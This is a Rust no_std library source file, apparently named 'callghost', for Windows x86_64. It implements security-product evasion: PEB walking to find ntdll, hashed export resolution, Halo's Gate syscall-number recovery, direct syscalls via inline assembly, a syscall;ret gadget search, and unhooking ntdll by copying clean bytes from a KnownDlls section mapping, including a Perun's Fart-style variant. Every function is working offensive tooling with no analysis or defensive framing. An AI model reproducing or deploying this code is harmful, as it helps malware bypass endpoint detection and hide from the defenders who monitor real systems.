#![no_std]
#[cfg(not(all(target_os = "windows", target_arch = "x86_64")))]
compile_error!("callghost requires Windows x86_64");
use core::arch::asm;
use core::sync::atomic::{AtomicPtr, Ordering};
pub trait SyscallParam {
fn to_u64(self) -> u64;
}
impl SyscallParam for u8 { fn to_u64(self) -> u64 { self as u64 } }
impl SyscallParam for u16 { fn to_u64(self) -> u64 { self as u64 } }
impl SyscallParam for u32 { fn to_u64(self) -> u64 { self as u64 } }
impl SyscallParam for u64 { fn to_u64(self) -> u64 { self } }
impl SyscallParam for usize { fn to_u64(self) -> u64 { self as u64 } }
impl SyscallParam for i8 { fn to_u64(self) -> u64 { self as u64 } }
impl SyscallParam for i16 { fn to_u64(self) -> u64 { self as u64 } }
impl SyscallParam for i32 { fn to_u64(self) -> u64 { self as u64 } }
impl SyscallParam for i64 { fn to_u64(self) -> u64 { self as u64 } }
impl SyscallParam for isize { fn to_u64(self) -> u64 { self as u64 } }
impl SyscallParam for bool { fn to_u64(self) -> u64 { self as u64 } }
impl<T> SyscallParam for *mut T { fn to_u64(self) -> u64 { self as u64 } }
impl<T> SyscallParam for *const T { fn to_u64(self) -> u64 { self as u64 } }
impl<T> SyscallParam for &T { fn to_u64(self) -> u64 { self as *const T as u64 } }
impl<T> SyscallParam for &mut T { fn to_u64(self) -> u64 { self as *mut T as u64 } }
pub const fn fnv1a(name: &[u8]) -> u32 {
let mut hash: u32 = 0x811c9dc5;
let mut i = 0;
while i < name.len() {
hash ^= name[i] as u32;
hash = hash.wrapping_mul(0x01000193);
i += 1;
}
hash
}
const SSN_CACHE_SIZE: usize = 256;
static mut SSN_CACHE: [u64; SSN_CACHE_SIZE] = [0u64; SSN_CACHE_SIZE];
fn ssn_pack(hash: u32, ssn: u16) -> u64 {
((hash as u64) << 32) | (ssn as u64) | 0x10000 }
fn ssn_lookup(hash: u32) -> Option<u16> {
let idx = (hash as usize) % SSN_CACHE_SIZE;
let entry = unsafe { core::ptr::read_volatile(&SSN_CACHE[idx]) };
let stored_hash = (entry >> 32) as u32;
if stored_hash == hash && (entry & 0x10000) != 0 {
Some(entry as u16)
} else {
None
}
}
fn ssn_store(hash: u32, ssn: u16) {
let idx = (hash as usize) % SSN_CACHE_SIZE;
unsafe { core::ptr::write_volatile(&mut SSN_CACHE[idx], ssn_pack(hash, ssn)) };
}
#[repr(C)]
struct ImageExportDirectory {
_characteristics: u32,
_time_date_stamp: u32,
_major_version: u16,
_minor_version: u16,
_name: u32,
_base: u32,
_number_of_functions: u32,
number_of_names: u32,
address_of_functions: u32,
address_of_names: u32,
address_of_name_ordinals: u32,
}
#[repr(C)]
struct ListEntry {
flink: *mut ListEntry,
_blink: *mut ListEntry,
}
#[repr(C)]
struct UnicodeString {
length: u16,
maximum_length: u16,
buffer: *mut u16,
}
#[repr(C)]
struct LdrDataTableEntry {
_in_load_order_links: ListEntry,
in_memory_order_links: ListEntry,
_in_init_order_links: ListEntry,
dll_base: *mut u8,
_entry_point: *mut u8,
_size_of_image: u32,
_full_dll_name: UnicodeString,
base_dll_name: UnicodeString,
}
#[repr(C)]
struct ObjectAttributes {
length: u32,
root_directory: *mut core::ffi::c_void,
object_name: *const UnicodeString,
attributes: u32,
security_descriptor: *mut core::ffi::c_void,
security_quality_of_service: *mut core::ffi::c_void,
}
#[cfg(all(target_os = "windows", target_arch = "x86_64"))]
unsafe fn raw_syscall(ssn: u16, a0: u64, a1: u64, a2: u64, a3: u64) -> i32 {
let result: u64;
unsafe {
asm!(
"mov r10, rcx", "mov eax, {ssn:e}", "syscall",
ssn = inlateout(reg) ssn as u64 => _,
inlateout("rcx") a0 => _, inlateout("rdx") a1 => _,
inlateout("r8") a2 => _, inlateout("r9") a3 => _,
lateout("rax") result, lateout("r10") _, lateout("r11") _,
options(nostack),
);
}
result as i32
}
#[cfg(all(target_os = "windows", target_arch = "x86_64"))]
unsafe fn raw_syscall_5(
ssn: u16, a0: u64, a1: u64, a2: u64, a3: u64, a4: u64,
) -> i32 {
let result: u64;
unsafe {
asm!(
"sub rsp, 0x30", "mov [rsp+0x28], {a4}",
"mov r10, rcx", "mov eax, {ssn:e}", "syscall",
"add rsp, 0x30",
ssn = inlateout(reg) ssn as u64 => _,
inlateout("rcx") a0 => _, inlateout("rdx") a1 => _,
inlateout("r8") a2 => _, inlateout("r9") a3 => _,
a4 = inlateout(reg) a4 => _,
lateout("rax") result, lateout("r10") _, lateout("r11") _,
);
}
result as i32
}
#[cfg(all(target_os = "windows", target_arch = "x86_64"))]
unsafe fn raw_syscall_10(
ssn: u16,
a0: u64, a1: u64, a2: u64, a3: u64,
a4: u64, a5: u64, a6: u64, a7: u64, a8: u64, a9: u64,
) -> i32 {
let result: u64;
unsafe {
asm!(
"sub rsp, 0x60",
"mov [rsp+0x28], {a4}", "mov [rsp+0x30], {a5}",
"mov [rsp+0x38], {a6}", "mov [rsp+0x40], {a7}",
"mov [rsp+0x48], {a8}", "mov [rsp+0x50], {a9}",
"mov r10, rcx", "mov eax, {ssn:e}", "syscall",
"add rsp, 0x60",
ssn = inlateout(reg) ssn as u64 => _,
inlateout("rcx") a0 => _, inlateout("rdx") a1 => _,
inlateout("r8") a2 => _, inlateout("r9") a3 => _,
a4 = inlateout(reg) a4 => _, a5 = inlateout(reg) a5 => _,
a6 = inlateout(reg) a6 => _, a7 = inlateout(reg) a7 => _,
a8 = inlateout(reg) a8 => _, a9 = inlateout(reg) a9 => _,
lateout("rax") result, lateout("r10") _, lateout("r11") _,
);
}
result as i32
}
#[cfg(all(target_os = "windows", target_arch = "x86_64"))]
unsafe fn get_peb() -> *mut u8 {
let peb: *mut u8;
unsafe { asm!("mov {}, gs:[0x60]", out(reg) peb, options(nostack, nomem, preserves_flags)); }
peb
}
fn ascii_eq_unicode_ci(ascii: &[u8], unicode: &[u16]) -> bool {
if ascii.len() != unicode.len() { return false; }
let mut i = 0;
while i < ascii.len() {
let a = if ascii[i] >= b'A' && ascii[i] <= b'Z' { ascii[i] + 32 } else { ascii[i] };
let u = if unicode[i] >= b'A' as u16 && unicode[i] <= b'Z' as u16 { unicode[i] + 32 } else { unicode[i] };
if a as u16 != u { return false; }
i += 1;
}
true
}
#[cfg(all(target_os = "windows", target_arch = "x86_64"))]
unsafe fn find_ntdll() -> Option<*mut u8> {
let peb = unsafe { get_peb() };
if peb.is_null() { return None; }
let ldr = unsafe { *(peb.add(0x18) as *const *mut u8) };
if ldr.is_null() { return None; }
let list_head = unsafe { ldr.add(0x20) as *mut ListEntry };
let mut current = unsafe { (*list_head).flink };
while current != list_head {
let entry = unsafe {
(current as *mut u8).sub(core::mem::offset_of!(LdrDataTableEntry, in_memory_order_links))
as *mut LdrDataTableEntry
};
let name = unsafe { &(*entry).base_dll_name };
if name.length > 0 && !name.buffer.is_null() {
let len = (name.length / 2) as usize;
let slice = unsafe { core::slice::from_raw_parts(name.buffer, len) };
if ascii_eq_unicode_ci(b"ntdll.dll", slice) {
return Some(unsafe { (*entry).dll_base });
}
}
current = unsafe { (*current).flink };
}
None
}
#[cfg(all(target_os = "windows", target_arch = "x86_64"))]
unsafe fn get_export_dir(base: *mut u8) -> Option<*const ImageExportDirectory> {
if unsafe { *(base as *const u16) } != 0x5A4D { return None; }
let e_lfanew = unsafe { *(base.add(0x3C) as *const i32) };
let nt = unsafe { base.offset(e_lfanew as isize) };
if unsafe { *(nt as *const u32) } != 0x00004550 { return None; }
let rva = unsafe { *(nt.add(0x18 + 0x70) as *const u32) };
if rva == 0 { return None; }
Some(unsafe { base.add(rva as usize) as *const ImageExportDirectory })
}
fn hash_export_name(name_ptr: *const u8) -> (u32, bool) {
let mut hash: u32 = 0x811c9dc5;
let mut i = 0;
let mut is_syscall = false;
unsafe {
while *name_ptr.add(i) != 0 {
hash ^= *name_ptr.add(i) as u32;
hash = hash.wrapping_mul(0x01000193);
i += 1;
}
if i >= 2 {
let b0 = *name_ptr;
let b1 = *name_ptr.add(1);
is_syscall = (b0 == b'N' && b1 == b't') || (b0 == b'Z' && b1 == b'w');
}
}
(hash, is_syscall)
}
#[cfg(all(target_os = "windows", target_arch = "x86_64"))]
unsafe fn resolve_export_rva(
base: *mut u8, export_dir: *const ImageExportDirectory, target_hash: u32,
) -> Option<u32> {
let ed = unsafe { &*export_dir };
let names = unsafe { base.add(ed.address_of_names as usize) as *const u32 };
let ordinals = unsafe { base.add(ed.address_of_name_ordinals as usize) as *const u16 };
let functions = unsafe { base.add(ed.address_of_functions as usize) as *const u32 };
for i in 0..ed.number_of_names {
let name_rva = unsafe { *names.add(i as usize) };
let name_ptr = unsafe { base.add(name_rva as usize) };
let (hash, _) = hash_export_name(name_ptr);
if hash == target_hash {
let ord = unsafe { *ordinals.add(i as usize) };
return Some(unsafe { *functions.add(ord as usize) });
}
}
None
}
#[cfg(all(target_os = "windows", target_arch = "x86_64"))]
unsafe fn extract_ssn_clean(stub: *const u8) -> Option<u16> {
unsafe {
if *stub == 0x4c && *stub.add(1) == 0x8b && *stub.add(2) == 0xd1 && *stub.add(3) == 0xb8 {
return Some(*(stub.add(4) as *const u16));
}
}
None
}
#[derive(Clone, Copy)]
struct StubEntry { rva: u32 }
#[cfg(all(target_os = "windows", target_arch = "x86_64"))]
unsafe fn resolve_ssn_halos_gate(
base: *mut u8, export_dir: *const ImageExportDirectory, target_rva: u32,
) -> Option<u16> {
let ed = unsafe { &*export_dir };
let names = unsafe { base.add(ed.address_of_names as usize) as *const u32 };
let ordinals = unsafe { base.add(ed.address_of_name_ordinals as usize) as *const u16 };
let functions = unsafe { base.add(ed.address_of_functions as usize) as *const u32 };
const MAX_STUBS: usize = 700;
let mut stubs = [StubEntry { rva: 0 }; MAX_STUBS];
let mut count = 0usize;
for i in 0..ed.number_of_names {
let name_rva = unsafe { *names.add(i as usize) };
let name_ptr = unsafe { base.add(name_rva as usize) };
let (_, is_sc) = hash_export_name(name_ptr);
if is_sc && count < MAX_STUBS {
let ord = unsafe { *ordinals.add(i as usize) };
stubs[count] = StubEntry { rva: unsafe { *functions.add(ord as usize) } };
count += 1;
}
}
for i in 1..count {
let mut j = i;
while j > 0 && stubs[j].rva < stubs[j - 1].rva { stubs.swap(j, j - 1); j -= 1; }
}
let mut deduped = 0usize;
let mut target_pos = None;
for i in 0..count {
if i == 0 || stubs[i].rva != stubs[i - 1].rva {
if stubs[i].rva == target_rva { target_pos = Some(deduped); }
stubs[deduped] = stubs[i];
deduped += 1;
}
}
let target_pos = target_pos?;
for d in 1..=12usize {
if target_pos >= d {
let p = unsafe { base.add(stubs[target_pos - d].rva as usize) };
if let Some(ssn) = unsafe { extract_ssn_clean(p) } { return Some(ssn + d as u16); }
}
if target_pos + d < deduped {
let p = unsafe { base.add(stubs[target_pos + d].rva as usize) };
if let Some(ssn) = unsafe { extract_ssn_clean(p) } { return Some(ssn - d as u16); }
}
}
None
}
#[cfg(all(target_os = "windows", target_arch = "x86_64"))]
unsafe fn find_text_section(base: *mut u8) -> Option<(*mut u8, usize)> {
let e_lfanew = unsafe { *(base.add(0x3C) as *const i32) };
let nt = unsafe { base.offset(e_lfanew as isize) };
let num_sec = unsafe { *(nt.add(6) as *const u16) };
let opt_size = unsafe { *(nt.add(20) as *const u16) };
let first = unsafe { nt.add(24 + opt_size as usize) };
for i in 0..num_sec as usize {
let sec = unsafe { first.add(i * 40) };
let name = unsafe { core::slice::from_raw_parts(sec, 5) };
if name == b".text" {
let vsize = unsafe { *(sec.add(8) as *const u32) } as usize;
let vaddr = unsafe { *(sec.add(12) as *const u32) } as usize;
return Some((unsafe { base.add(vaddr) }, vsize));
}
}
None
}
static GADGET: AtomicPtr<u8> = AtomicPtr::new(core::ptr::null_mut());
#[cfg(all(target_os = "windows", target_arch = "x86_64"))]
pub unsafe fn get_syscall_gadget() -> *const u8 {
let cached = GADGET.load(Ordering::Relaxed);
if !cached.is_null() { return cached; }
let base = unsafe { get_ntdll_base() };
let (text, size) = unsafe { find_text_section(base) }
.expect("callghost: .text not found in ntdll");
for i in 0..size.saturating_sub(2) {
let p = unsafe { text.add(i) };
if unsafe { *p == 0x0F && *p.add(1) == 0x05 && *p.add(2) == 0xC3 } {
GADGET.store(p, Ordering::Relaxed);
return p;
}
}
panic!("callghost: syscall;ret gadget not found");
}
const KNOWN_DLLS_PATH: [u16; 20] = [
b'\\' as u16, b'K' as u16, b'n' as u16, b'o' as u16, b'w' as u16,
b'n' as u16, b'D' as u16, b'l' as u16, b'l' as u16, b's' as u16,
b'\\' as u16, b'n' as u16, b't' as u16, b'd' as u16, b'l' as u16,
b'l' as u16, b'.' as u16, b'd' as u16, b'l' as u16, b'l' as u16,
];
const STUB_SIZE: usize = 32;
const OBJ_CASE_INSENSITIVE: u32 = 0x40;
const SECTION_MAP_READ: u32 = 0x04;
const PAGE_EXECUTE_READWRITE: u32 = 0x40;
static CLEAN_BASE: AtomicPtr<u8> = AtomicPtr::new(core::ptr::null_mut());
static mut CLEAN_HANDLE: isize = 0;
#[cfg(all(target_os = "windows", target_arch = "x86_64"))]
unsafe fn get_clean_ntdll() -> *mut u8 {
let cached = CLEAN_BASE.load(Ordering::Relaxed);
if !cached.is_null() { return cached; }
let mut path_buf = KNOWN_DLLS_PATH;
let us = UnicodeString {
length: (KNOWN_DLLS_PATH.len() * 2) as u16,
maximum_length: (KNOWN_DLLS_PATH.len() * 2) as u16,
buffer: path_buf.as_mut_ptr(),
};
let oa = ObjectAttributes {
length: core::mem::size_of::<ObjectAttributes>() as u32,
root_directory: core::ptr::null_mut(),
object_name: &us,
attributes: OBJ_CASE_INSENSITIVE,
security_descriptor: core::ptr::null_mut(),
security_quality_of_service: core::ptr::null_mut(),
};
let mut handle: isize = 0;
let ssn = unsafe { get_ssn(fnv1a(b"NtOpenSection")) };
let st = unsafe { raw_syscall(ssn, &mut handle as *mut isize as u64, SECTION_MAP_READ as u64, &oa as *const _ as u64, 0) };
if st != 0 { panic!("callghost: NtOpenSection(KnownDlls) failed: 0x{:08X}", st as u32); }
let mut base: *mut core::ffi::c_void = core::ptr::null_mut();
let mut vsize: usize = 0;
let ssn = unsafe { get_ssn(fnv1a(b"NtMapViewOfSection")) };
let st = unsafe { raw_syscall_10(ssn,
handle as u64, -1i64 as u64, &mut base as *mut _ as u64,
0, 0, 0, &mut vsize as *mut usize as u64, 2, 0, 2) };
if st < 0 { panic!("callghost: NtMapViewOfSection failed: 0x{:08X}", st as u32); }
let ptr = base as *mut u8;
CLEAN_BASE.store(ptr, Ordering::Relaxed);
unsafe { CLEAN_HANDLE = handle; }
ptr
}
#[cfg(all(target_os = "windows", target_arch = "x86_64"))]
pub unsafe fn release_clean_ntdll() {
let base = CLEAN_BASE.swap(core::ptr::null_mut(), Ordering::Relaxed);
if base.is_null() { return; }
let handle = unsafe { CLEAN_HANDLE };
unsafe { CLEAN_HANDLE = 0; }
let ssn = unsafe { get_ssn(fnv1a(b"NtUnmapViewOfSection")) };
unsafe { raw_syscall(ssn, -1i64 as u64, base as u64, 0, 0) };
let ssn = unsafe { get_ssn(fnv1a(b"NtClose")) };
unsafe { raw_syscall(ssn, handle as u64, 0, 0, 0) };
}
#[cfg(all(target_os = "windows", target_arch = "x86_64"))]
unsafe fn protect_mem(addr: *mut u8, len: usize, new_protect: u32) -> u32 {
let mut old: u32 = 0;
let mut base = addr as *mut core::ffi::c_void;
let mut size = len;
let ssn = unsafe { get_ssn(fnv1a(b"NtProtectVirtualMemory")) };
unsafe { raw_syscall_5(ssn, -1i64 as u64, &mut base as *mut _ as u64,
&mut size as *mut usize as u64, new_protect as u64, &mut old as *mut u32 as u64) };
old
}
#[cfg(all(target_os = "windows", target_arch = "x86_64"))]
unsafe fn copy_clean_bytes(hooked_stub: *mut u8, hash: u32, len: usize) {
let clean = unsafe { get_clean_ntdll() };
let dir = unsafe { get_export_dir(clean) }.expect("callghost: clean ntdll exports");
let rva = unsafe { resolve_export_rva(clean, dir, hash) }.expect("callghost: fn not in clean ntdll");
let src = unsafe { clean.add(rva as usize) };
let old = unsafe { protect_mem(hooked_stub, len, PAGE_EXECUTE_READWRITE) };
unsafe { core::ptr::copy_nonoverlapping(src, hooked_stub, len) };
unsafe { protect_mem(hooked_stub, len, old) };
}
#[cfg(all(target_os = "windows", target_arch = "x86_64"))]
pub unsafe fn unhook_stub(hash: u32) {
let stub = unsafe { get_function_address(hash) };
unsafe { copy_clean_bytes(stub, hash, STUB_SIZE) };
}
#[cfg(all(target_os = "windows", target_arch = "x86_64"))]
pub unsafe fn unhook_all() {
let base = unsafe { get_ntdll_base() };
let clean = unsafe { get_clean_ntdll() };
let (text, tsize) = unsafe { find_text_section(base) }.expect("callghost: .text not found");
let (ctxt, csize) = unsafe { find_text_section(clean) }.expect("callghost: .text not found in clean");
let n = tsize.min(csize);
let old = unsafe { protect_mem(text, n, PAGE_EXECUTE_READWRITE) };
unsafe { core::ptr::copy_nonoverlapping(ctxt, text, n) };
unsafe { protect_mem(text, n, old) };
}
pub struct PerunState {
pub stub: *mut u8,
pub saved: [u8; STUB_SIZE],
}
#[cfg(all(target_os = "windows", target_arch = "x86_64"))]
pub unsafe fn perunsfart_prepare(hash: u32) -> PerunState {
let stub = unsafe { get_function_address(hash) };
let mut saved = [0u8; STUB_SIZE];
unsafe { core::ptr::copy_nonoverlapping(stub, saved.as_mut_ptr(), STUB_SIZE) };
unsafe { copy_clean_bytes(stub, hash, STUB_SIZE) };
PerunState { stub, saved }
}
#[cfg(all(target_os = "windows", target_arch = "x86_64"))]
pub unsafe fn perunsfart_restore(state: &PerunState) {
let old = unsafe { protect_mem(state.stub, STUB_SIZE, PAGE_EXECUTE_READWRITE) };
unsafe { core::ptr::copy_nonoverlapping(state.saved.as_ptr(), state.stub, STUB_SIZE) };
unsafe { protect_mem(state.stub, STUB_SIZE, old) };
}
static NTDLL_BASE: AtomicPtr<u8> = AtomicPtr::new(core::ptr::null_mut());
#[cfg(all(target_os = "windows", target_arch = "x86_64"))]
unsafe fn get_ntdll_base() -> *mut u8 {
let cached = NTDLL_BASE.load(Ordering::Relaxed);
if !cached.is_null() { return cached; }
let base = unsafe { find_ntdll() }.expect("callghost: ntdll.dll not found");
NTDLL_BASE.store(base, Ordering::Relaxed);
base
}
#[cfg(all(target_os = "windows", target_arch = "x86_64"))]
pub unsafe fn get_ssn(hash: u32) -> u16 {
if let Some(ssn) = ssn_lookup(hash) { return ssn; }
let base = unsafe { get_ntdll_base() };
let dir = unsafe { get_export_dir(base) }.expect("callghost: no export table");
let rva = unsafe { resolve_export_rva(base, dir, hash) }.expect("callghost: export not found");
let ptr = unsafe { base.add(rva as usize) };
let ssn = if let Some(s) = unsafe { extract_ssn_clean(ptr) } { s }
else { unsafe { resolve_ssn_halos_gate(base, dir, rva) }.expect("callghost: SSN resolution failed") };
ssn_store(hash, ssn);
ssn
}
#[cfg(all(target_os = "windows", target_arch = "x86_64"))]
pub unsafe fn get_function_address(hash: u32) -> *mut u8 {
let base = unsafe { get_ntdll_base() };
let dir = unsafe { get_export_dir(base) }.expect("callghost: no export table");
let rva = unsafe { resolve_export_rva(base, dir, hash) }.expect("callghost: export not found");
unsafe { base.add(rva as usize) }
}
pub unsafe fn check_stub_clean(stub: *const u8) -> Option<u16> {
unsafe { extract_ssn_clean(stub) }
}
pub fn flush_ssn_cache() {
for i in 0..SSN_CACHE_SIZE {
unsafe { core::ptr::write_volatile(&mut SSN_CACHE[i], 0) };
}
}